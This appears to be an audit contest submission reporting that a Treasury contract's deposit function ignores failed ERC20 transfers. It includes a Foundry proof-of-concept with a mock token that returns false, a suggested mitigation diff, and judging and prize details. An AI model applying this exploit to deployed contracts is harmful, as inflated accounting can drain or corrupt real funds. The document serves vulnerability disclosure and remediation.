Submission Details
Severity:
Since `Treasury:deposit` function accept any erc20 token, a malicious user can deposit a weird erc20 that return zero instead of revert. Modifying internal accounting but does not receive the tokens
Description:
The function `Treasury:deposit` do not check if the tokens have been recived for the contract, a malicious user can transfer a weird erc20 that returns 0 instead of revert, and forcing this transfer to fail. The `Treasury` contract will not realize that it reversed and did not receive the tokens and will add the value to the totalAmount and the token mappig, without actually having received the tokens.
Impact:
The contract will modify the state variables that stores the totalAmount of the contract and of the specific token, but the contract won't have this tokens. Storing a wrong value in the state variables.
Proof of Concept:
<details><summary>Proof of Code</summary>
**Here are the steps to run the Foundry PoC:**
1. Open the `linux terminal`, `wsl` in windows.
2. `nomicfoundation` installation:
- If you have `npm` installed run this command:
- `npm install --save-dev @nomicfoundation/hardhat-foundry`
- If you have `yarn` installed run this command:
- `yarn add --dev @nomicfoundation/hardhat-foundry`
- If you have `pnpm` installed run this command:
- `pnpm add --save-dev @nomicfoundation/hardhat-foundry`
3. open the `hardhat.config.cjs`
- Paste this at the begining of the code:
- `require("@nomicfoundation/hardhat-foundry");`
4. run `npx hardhat init-foundry`
- This task will create a `foundry.toml` file with the right configuration and install `forge-std`
5. In the `test/` forlder create a new folder called `ProofOfCodes`
6. In this `test/ProofOfCodes` folder create a new file and paste the following code
7. To run the test you should run `forge test --mt test_weirdErc20CanAffectContractInternalAccounting -vvvv`
<details><summary>NOTE</summary>
- To be able to run this PoC, create a new folder in the `test/ProofOfCodes` called `mocks` and create a file called `BasicWeirdERC20.sol` and paste the following code:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract BasicWeirdERC20 is ERC20 {
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance < amount || balanceOf(sender) < amount) {
return false; // En lugar de revertir, simplemente retorna false
}
_allowances[sender][_msgSender()] = currentAllowance - amount;
_transfer(sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
}
```
</detials>
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "lib/forge-std/src/Test.sol";
import {Treasury} from "contracts/core/collectors/Treasury.sol";
import {ERC20Mock} from "contracts/mocks/core/tokens/ERC20Mock.sol";
import {BasicWeirdERC20} from "./mocks/BasicWeirdERC20.sol";
contract WeridErc20Risk is Test {
Treasury treasury;
address public admin = makeAddr("admin");
address public attacker = makeAddr("attacker");
BasicWeirdERC20 weirdToken;
function setUp() external {
treasury = new Treasury(admin);
weirdToken = new BasicWeirdERC20("Weird Token", "WT");
}
function test_weirdErc20CanAffectContractInternalAccounting() external {
assertEq(weirdToken.balanceOf(address(attacker)), 0);
vm.startPrank(attacker);
treasury.deposit(address(weirdToken), type(uint256).max);
vm.stopPrank();
assertEq(weirdToken.balanceOf(address(treasury)), 0);
assertEq(treasury.getTotalValue(), type(uint256).max);
assertEq(treasury.getBalance(address(weirdToken)), type(uint256).max);
}
}
```
</details>
Recommended Mitigation:
- Add a valitation that checks if the contract have recived the transfered amount.
```diff
function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
+ uint256 balanceBefore = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(msg.sender, address(this), amount);
+ uint256 balanceAfter = IERC20(token).balanceOf(address(this));
+ if(balanceAfter - amount != balanceBefore) {revert TransferFailed()}
_balances[token] += amount;
_totalValue += amount;
emit Deposited(token, amount);
}
```
- Instead of doing transfer from perfom safeTransferFrom. (recommended)
Updates
Lead Judging Commences
inallhonesty 3 months ago
Submission Judgement Published Assigned finding tags:
Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.
Prize pool breakdown
Total prize
77,280 USDC
nSLOC
3,86420 USDC / LOC
74,000
3,280
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.